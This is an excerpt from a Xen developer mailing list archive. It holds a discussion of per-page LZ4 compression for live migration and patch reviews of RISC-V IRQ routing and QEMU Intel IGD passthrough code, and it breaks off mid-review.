> PAGE_DATA_COMPRESSED, as I'm not sure it's wise to restrict to only LZ4=
=0A=
> (someone may want to add support for e.g zstd or another algorithm=0A=
> without having to change the format) ?=0A=
=0A=
It should be possible to create a more generic structure like=0A=
PAGE_DATA_COMPRESSED instead of PAGE_DATA_LZ4, which accepts different=0A=
compression algorithms in extra new fields. I suspect the challenge here is=
=0A=
how generic to make it: I wonder if it wouldn't be equivalent and simpler t=
o=0A=
instead add new record types (PAGE_DATA_ZSTD etc) in the future when=0A=
necessary, as a new algorithm needs new code on both ends anyway and reuses=
=0A=
the same per-page framing, so a generic record would not actually avoid a=
=0A=
code change. Perhaps we could adopt a PAGE_DATA_COMPRESSED_* family prefix=
=0A=
for the wire format doc, and rename the algorithm type PAGE_DATA_LZ4 ->=0A=
PAGE_DATA_COMPRESSED_LZ4, so that eg. in the future=0A=
PAGE_DATA_COMPRESSED_ZSTD etc reuses the same family document and is only a=
=0A=
new type id. This would be an interesting question for the maintainers of=
=0A=
libxenguest.=0A=
=0A=
>> +            Each sub-block is a `uint16` little-endian length `clen`=0A=
>> +            followed by either an LZ4 block or a raw page.  When=0A=
>> +            `clen > 0`, page_data_lz4 is `clen` octets of a raw LZ4=0A=
>> +            block [...] When `clen =3D=3D 0`, page_data_lz4 is=0A=
>> +            page_size octets of a raw, uncompressed page.=0A=
>=0A=
> The inline clen at the beginning of page_data_lz4 feels a bit odd to me,=
=0A=
> or at least, a bit inconsistent with how pfns are arranged. I think=0A=
> something like i.e=0A=
>=0A=
> 1. count and (reserved)=0A=
> 2. pfn[0] ... pfn[C-1]=0A=
> 3. clen[0] ... clen[N-1]=0A=
> 4. page_data_lz4[0] ... page_data_lz4[N-1]=0A=
>=0A=
> would be better.=0A=
=0A=
Using an array clen[0..N-1] before the page_data_lz4[0..N-1] is neat and as=
=0A=
you said follows the existing pfn[0..C-1] pattern, and I think it would be=
=0A=
good to adopt it in v2.=0A=
=0A=
> Though, aside that, I'm not sure having separate compressed block for=0A=
> each page is a good idea. Compression is more efficient when processing=
=0A=
> larger blocks, LZ4 documents a 64 KB deduplication window (of the past=0A=
> bytes) [1].=0A=
=0A=
LZ4 expects the source buffer to be immutable for the duration of the=0A=
compression call. However, during live migration the guest is still running=
=0A=
and updating its pages concurrently with the compression. This mutable=0A=
source buffer can cause compressed back-references to be inconsistent in th=
e=0A=
>4KB deduplication window (LZ4's match window reaches 64 KB, ie. up to 16=
=0A=
pages), resulting in corrupt decompressed pages on the destination.=0A=
Corrupted dirty pages would be resent and healed in the next iteration, but=
=0A=
corrupted clean (non-dirty) pages wouldn't. Indeed, I initially experienced=
=0A=
with compressing the whole 4MB batch and found the guests would crash on th=
e=0A=
destination due to corrupted page contents after decompression. Compressing=
=0A=
individual 4KB pages avoids this back-reference inconsistency issue across=
=0A=
pages. Any inconsistency caused by a concurrent write inside an=0A=
individually-compressed 4KB page is not a problem, as it's marked dirty=0A=
anyway and will be resend in the next iteration, so the problem is only=0A=
present when compressing together >1 page.=0A=
=0A=
I also tried staging: compress from a read-only copy of the whole 4 MB batc=
h=0A=
to avoid the concurrent guest writes. That is safe, but it adds a second,=
=0A=
slower full memory pass per batch, which I suspect is better to avoid to=0A=
minimise memory bottlenecks in this high-throughput memory transfer=0A=
operation. Measured on identical buffers, per-page in general costs <1% of=
=0A=
the batch on ordinary compressible pages and is no worse on incompressible=
=0A=
pages (it stores them raw rather than expanding them); per-batch wins when =
a=0A=
page is duplicated within LZ4's 64 KB window, which per-page cannot dedup,=
=0A=
and in the measured scenarios the aggregate effect on a real migration is=
=0A=
not visible within the run-to-run variations when comparing per-batch=0A=
compression vs per-page compression, so in v1 I adopted the per-4K-page=0A=
compression.=0A=
=0A=
> In my opinion, it may be preferable to have one large block with all the=
=0A=
> page datas (covering up to MAX_BATCH_SIZE=3D1024 pages) rather than havin=
g=0A=
> to uncompress individual blocks. Which in the end would remove the need=
=0A=
> to have individual clen[n].=0A=
>=0A=
> What do you think ?=0A=
=0A=
Regarding using one large block (B=3D1), this would resurface the issue of =
the=0A=
cross-page back references problem, as the guest keeps updating the pages=
=0A=
while we compress them. Per-page independent blocks (B=3DN) make it safe to=
=0A=
compress directly from the live mapping. Right now we have B=3DN (the=0A=
zero-copy non-staged compression in v1), and we could extend it to allow B=
=3D1=0A=
(the cross-page compression with staging) in the future, something like:=0A=
=0A=
1. count and (reserved)=0A=
2. pfn[0] ... pfn[C-1]=0A=
3. B=0A=
   if B=3D=3DN: zero-copy, non-staged per-page compression units=0A=
   if B=3D=3D1: staged per-batch compression unit=0A=
4. clen[0] ... clen[B-1]=0A=
5. cdata[0] ... cdata[B-1]=0A=
=0A=
If we wanted to allow a generic 1<=3DB<=3DN, for B arbitrary compression un=
its=0A=
for arbitrary blocks in each unit, then we'd probably need another array=0A=
plen[0..B-1] to map a compression unit to expected decompressed=0A=
cdata[0..B-1] size for the decompressor.=0A=
=0A=


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:30:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:30:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369155.1618038 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtVc-0001rs-TN; Thu, 23 Jul 2026 13:30:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369155.1618038; Thu, 23 Jul 2026 13:30:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtVc-0001rl-QK; Thu, 23 Jul 2026 13:30:44 +0000
Received: by outflank-mailman (input) for mailman id 1369155;
 Thu, 23 Jul 2026 13:30:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmtVb-0001rd-Eg
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:30:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmtVa-00FvMJ-HS
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:30:42 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a621778-2eae-0a2a0a5409dd-0a2a4508e8e2-24
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:30:42 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a621782-f659-0a2a45080019-d155dd36d126-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:30:42 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso628153f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 06:30:42 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f8635c8d7sm14471327f8f.21.2026.07.23.06.30.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 06:30:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784813442; x=1785418242; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=RD6qRQL1y86TWiBYPwsDblFWyLfSp0GjXcXDx6AN+P8=;
        b=X9E9liboJd41RnFXnPm+Cmj9AJq0hvw310cjbfkfV8qia3QRGp9DhCr14IE8E25QrY
         1KHXr8k3byBX4XXGP4Bm8tmZNglooqVjHFCl8m9uyvU4nJY6k0aKu9a6SEjrP2+piUzR
         XngvQcRwNMt4L2d/KFX84MrojuGMbvH0tGn7GHXPtmuv8X+LwQFnd9nQCKwTrn62Qk22
         L9NYwBnhrVGd7Z58E0ccAjfdApJDB+GCGNXkZ7RB+m82L1KIJovd/hdMuTJ+DOTyvdmD
         B6gfQVoCCGgJF1z0rH2XM5jxOaCrh+TKgAM9EX0b7mr4jPcWLgoLykYGWSfxy2Ua5dH4
         51bQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784813442; x=1785418242;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=RD6qRQL1y86TWiBYPwsDblFWyLfSp0GjXcXDx6AN+P8=;
        b=QR7VKehqVYwtuIAtKsUvjanfMsFmwOh8RQVX55RciMEn3f1RA8KbgFgJUOjCJAD1EB
         0k5gvoToDRVtFYizb6b9RxmybEd2OBxMtPwHV8dxstKR7FHEhciLQugCLXOMYHgtrD//
         f7f0NVWwekRp66QhbxyEO/eDWDU3Hg130s9BjacFueDxDuLlQgjwS2JHJTOPOmAxNKSD
         zI7KxLjrTF5ar272igWA10fXLdSbY4ks7FnEKpvxCU/kp3P9gsBSUZcmsUodcTeXsrsp
         I0M0xrLq1V6Y1bH3Tiz205IriUBWcYlTkvHDYw52k06T9bIBZqsd3D6biicL7AW2ZMmg
         6Mzg==
X-Forwarded-Encrypted: i=1; AHgh+RrnITLLP5ZvSefGZIQ0sMV6O2n3jbCkg2qH8BcPcvR4hd4Smk6V0sUVlScAnjCL5Q0BkVj1AVdjUdI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwmEoJDJ7NoEXy/acdYtZeb9lJblPlRio4ZL2s8wVgwpoMA3gPT
	IBrPCWETv4dFgIMCuSKDwgRi6s4fMJQh77+Zb4Hz2pkraHfqqyLPGVtedHH+Xx2YMQ==
X-Gm-Gg: AR+sD13OGZfxQie/hff3wlrYdN+UEShHsFnSzvB9rCUxZjCn9v1QNViAhw9Osr6MR7m
	WE9elvVqPQJinrimg1vgYrndonjePXF4SbDtT5bcaO3ci8ILWTBmckXkIALo5Ur4hT2Il1RC21q
	eg20YLile2zHxX7IAUNkBZjaOAqDbgd8pFcdvH8kE27GcSQ8HrDsVfMG8OPKh2yg0p1U7xTiHXL
	Lu5wq8VkdjLKr2405vw5s5aL/i7QrwkQqO8PjSCAPY6Jtbn1v9igWLuM+viOdqXmslSHH6yu+CD
	6ZzPDYd0mtgompTet7s7IV1nkmX7I98YDPpkL2xxBKq5fgOT6embFKXqAUTBws3wRWUMcBiiedt
	VrlgqopSI8QdLA4T/rxDx3ecfXoautYMgd4tzCICSO/2QqAJLlVya7V+gNe7INsRs6kOtugb1I3
	dC4CehSGbpx/o89uMGzxSN4ZZ5ElKGYxcaC4a5VmkEETvFLD0VDFhZ0uVQrsyYzs7Sfg==
X-Received: by 2002:a05:6000:454d:b0:47f:9311:34cf with SMTP id ffacd0b85a97d-47f931135edmr1126684f8f.22.1784813441547;
        Thu, 23 Jul 2026 06:30:41 -0700 (PDT)
Message-ID: <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
Date: Thu, 23 Jul 2026 15:30:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784813442-CDF4787B-9ABFEA81/0/0
X-purgate-type: clean
X-purgate-size: 1997

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> --- a/xen/arch/riscv/Makefile
> +++ b/xen/arch/riscv/Makefile
> @@ -1,6 +1,7 @@
>  obj-y += aia.o
>  obj-y += aplic.o
>  obj-y += cpufeature.o
> +obj-y += device.o

Since you don't permit OVERLAY_DTB=y just yet, this could simply be

obj-y += device.init.o

for the time being. Else use Arm's construct. (And I can't help the feeling
that I did point this out before.)

> @@ -227,3 +253,215 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
>      spin_unlock(&desc->lock);
>      irq_exit();
>  }
> +
> +static struct irq_guest *irq_get_guest_info(struct irq_desc *desc)
> +{
> +    ASSERT(spin_is_locked(&desc->lock));
> +    ASSERT(test_bit(_IRQ_GUEST, &desc->status));
> +    ASSERT(desc->action != NULL);
> +
> +    return desc->action->dev_id;
> +}
> +
> +

Nit: Just to remind you - no double blank lines please.

> +/* Route an IRQ to a specific guest */
> +int route_irq_to_guest(struct domain *d, unsigned int virq,
> +                       unsigned int irq, const char *devname)
> +{
> +    struct irqaction *action;
> +    struct irq_guest *info;
> +    struct irq_desc *desc;
> +    unsigned long flags;
> +    int retval = 0;
> +
> +    if ( d->is_dying )
> +        return -EINVAL;
> +
> +    desc = irq_to_desc(irq);
> +
> +    /*
> +     * release_irq() frees this action via xvfree(), relying on action
> +     * being the first member of struct irq_guest so that &info->action
> +     * coincides with info itself. Guard the layout so a future field
> +     * reorder can't silently turn that into a free() of a mid-allocation
> +     * pointer.
> +     */
> +    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);

Can't release_irq() simply use container_of()? One way or another it feels
like you're painting yourself into a particular corner ...

With at least the earlier two issues taken care of:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:31:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:31:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369130.1618048 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002N5-8I; Thu, 23 Jul 2026 13:31:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369130.1618048; Thu, 23 Jul 2026 13:31:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtWX-0002Mw-5O; Thu, 23 Jul 2026 13:31:41 +0000
Received: by outflank-mailman (input) for mailman id 1369130;
 Thu, 23 Jul 2026 13:09:31 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tomitamoeko@gmail.com>) id 1wmtB5-0006NY-IK
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:09:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmtB4-00GMLd-VD
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:09:30 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a62128a-e002-0a2a0a5209dd-0a2a4505a566-4
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:09:30 +0200
Received: from [74.125.227.129] (helo=mail-pj2-f1.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a621289-4cb1-0a2a45050019-4a7de3818ac1-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:09:30 +0200
Received: by mail-pj2-f1.google.com with SMTP id
 98e67ed59e1d1-3810f0aba07so344339a91.1
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 06:09:30 -0700 (PDT)
Received: from ?IPV6:2408:820c:8ffa:c0f0:e439:d3f2:d7e2:d97a?
 ([2408:820c:8ffa:c0f0:e439:d3f2:d7e2:d97a])
 by smtp.gmail.com with ESMTPSA id
 5a478bee46e88-3147e1ca3efsm24631825eec.30.2026.07.23.06.09.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 06:09:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784812169; x=1785416969; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=P53LU1z00TsQ0rdICiDq5utAVkvnHaR3/n8SoYgZC9s=;
        b=ipIWsoyGxq06b7DSS+FOCZDBMR9yFztkxosdgTFYeHVsnKYVWGOQN1tNgW2wqN7zBu
         pHYVl6MK6ZZVq2I8CHKgnF7xRtycz6vUqVbC/0BdWoMPhHKSpIAh0HllnX3mYS1KjytV
         oYWa1IrGH0gytV6hg1Ze/vszKhM6CnxjHSc7q8ASzxyn1AFixzG6TEIjexu4MtrRHKeC
         8FZsXshcsFCwG0/c/qH57NKNWZkONqP1x8TWRf//WtIkdXPUYY+5yd2V4GqllfdrAC0U
         M8zQw8ET8ovYxIzi8cG6jSgHzbPnryDR8JQJQbr+NcjcCYVR/16ohTVJxTBGjZKG6Mwn
         RHVg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784812169; x=1785416969;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=P53LU1z00TsQ0rdICiDq5utAVkvnHaR3/n8SoYgZC9s=;
        b=AxPbiSHKwSnnPX0IHyJambxap43Fu68t+uRaisAtozba5D4pTtZzKB8YsPovUjXzus
         ljB9CkJuSbFVQfc5URGcv6mn9ihUjE2yc/pg8eZZOyP/rCUZNhxFrsC3DWDCuo1LZgTU
         knunTnDmsk5xD3H2i0DYd8vG7ZRj1x6ogtBhh/nO5TjLXViewGzX4xR9v1CcZLhJj2Tj
         hPZlD7axsyPmiGQrhwJEtrP3X8SLwcWy/hwwAhrEhZ5yx/gWBctdpsrbFH358yaape/1
         BaVwtxoMddc5bu2csxnlrC3VReEUY+sepM+x8TruTach+8aIxioKDZR0SZ2d3+tQ0ihu
         I25w==
X-Forwarded-Encrypted: i=1; AHgh+Rq2QkldQcloIzNIotVLE+XASFtne+oxBNWRBTSAZWgMUg8dMMEZNfAB8hv+bt0t1TamLUCd8qyJkFE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzQ6dSMRlAj/Nzy7od6Qv7hDjJFFdqmvoxij1NHADBkEUC1fRlC
	MzRBBsOVw2LveZwibw40l25p3BsJ9pdFW5tynYp7kS/QB6zurNehl5c=
X-Gm-Gg: AR+sD13743sXpsd4WRZBOy1AbOc/b9NwaiHwaTVB1c2kvy8PFPUXiqEuuztPtwVfP6F
	mowW9TtO6E8YsWUGIezu/MqyPFkZJ7yFhWgVjy2bjLULsk1CuIjxu9l6avHKC2OWGgK12mqlmEC
	GXNLVjgUclvGD7mf/pinrxPzx8PUVzGSTLWkiFHffv/lEBhY/uDAonVqlqoHqX8qz+3/a4i3nAx
	9pDdrw/VOU7sxlsO6kUnovkjvxxYEh/QSQzSzsHYc+jVBIRt9sZLyxEnSenkJYjbmYJcEBzVLjE
	MOEiOel36Ixd0t9MRzI5D6/1SgEbBVFwg0kLI85qvrA4jYMgbi4lcnMj/DeD6xmrIYSkTLO/8fO
	tij86W4YOvIjxpP+PnwPtATYTJJPofwPvkg8fqrryycnZ2bKnfsBJFAqiFA9IYhl0pmgqdQHc6Z
	cP4wuN40bAhhzTCm4uZkGhDyGK3jI+NgjikMU5Hlp4hdWp26ez4h8V5vwIiA==
X-Received: by 2002:a05:6300:614e:b0:3c3:8651:b317 with SMTP id adf61e73a8af0-3c44afaac10mr3303939637.10.1784812168685;
        Thu, 23 Jul 2026 06:09:28 -0700 (PDT)
Message-ID: <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
Date: Thu, 23 Jul 2026 21:09:24 +0800
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/igd: get PCH info from host sysfs
To: Chuck Zmudzinski <brchuckz@aol.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-2-brchuckz@aol.com>
From: Tomita Moeko <tomitamoeko@gmail.com>
In-Reply-To: <20260709183517.25866-2-brchuckz@aol.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784812170-24F1F2A1-2FC17A21/0/0
X-purgate-type: clean
X-purgate-size: 6756

Sorry I am not the maintainer/reviewer of Xen IGD passthrough, just out
of my personal interest

On 2026-07-10 02:35, Chuck Zmudzinski wrote:
> The igd_combo_id_infos[] data is more than 10 years
> out of date with many Intel IGD devices missing from
> igd_combo_id_infos[]. This means that many devices
> that could be supported will not work with the
> current implementation.
> 
> For newer devices not listed in igd_combo_id_infos[],
> get infos from the host sysfs to enable support for the
> newer devices not listed in igd_combo_id_infos[].
> 
> Introduce the helper function xen_pt_get_host_pch_info
> to facilitate getting the necessary information from
> sysfs.
> 
> Also, use errp in xen_igd_passthrough_isa_bridge_create
> to set errors from xen_pt_get_host_pch_info.
> 
> Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
> ---
> Changes in v2:
>   - call error_setg* after closing files instead of before closing
>     files
>   - in last line of commit message change "to propagate errors" to
>     "to set errors"
>   - add stable to Cc list
> 
> Changes in v3:
>   - whitespace fix at line 380 of xen_pt_graphics.c
>   - fix Cc address for qemu-stable
> 
>  hw/xen/xen_pt.c          |  2 +-
>  hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
>  include/hw/xen/xen_igd.h |  3 +-
>  3 files changed, 82 insertions(+), 5 deletions(-)
> 
> diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
> index 0fe9c0a..474606e 100644
> --- a/hw/xen/xen_pt.c
> +++ b/hw/xen/xen_pt.c
> @@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
>          }
>  
>          /* Register ISA bridge for passthrough GFX. */
> -        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
> +        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);

The `errp` need to be handled here if any error occurs.

>      }
>  
>      /* Handle real device's MMIO/PIO BARs */
> diff --git a/hw/xen/xen_pt_graphics.c b/hw/xen/xen_pt_graphics.c
> index 7df9344..2ef941e 100644
> --- a/hw/xen/xen_pt_graphics.c
> +++ b/hw/xen/xen_pt_graphics.c
> @@ -376,8 +376,75 @@ static void pt_graphics_register_types(void)
>  }
>  type_init(pt_graphics_register_types)
>  
> +static void xen_pt_get_host_pch_info(PCIDevice *dev, uint16_t *pch_dev_id,
> +                                     uint8_t *pch_rev_id, Error **errp)
> +{
> +    FILE *fp1, *fp2;
> +    char *endptr;
> +    char device_id[7], rev[5];
> +    size_t len;
> +    const char *device = "/sys/bus/pci/devices/0000:00:1f.0/device";
> +    const char *revision = "/sys/bus/pci/devices/0000:00:1f.0/revision";
> +    unsigned long val;
> +
> +    fp1 = fopen(device, "r");
> +    if (fp1 == NULL) {
> +        error_setg_errno(errp, errno, "Cannot open %s", device);
> +        return;
> +    }
> +    fp2 = fopen(revision, "r");
> +    if (fp2 == NULL) {
> +        fclose(fp1);
> +        error_setg_errno(errp, errno, "Cannot open %s", revision);
> +        return;
> +    }
> +
> +    len = fread(device_id, 1, 7, fp1);
> +    if (!len) {
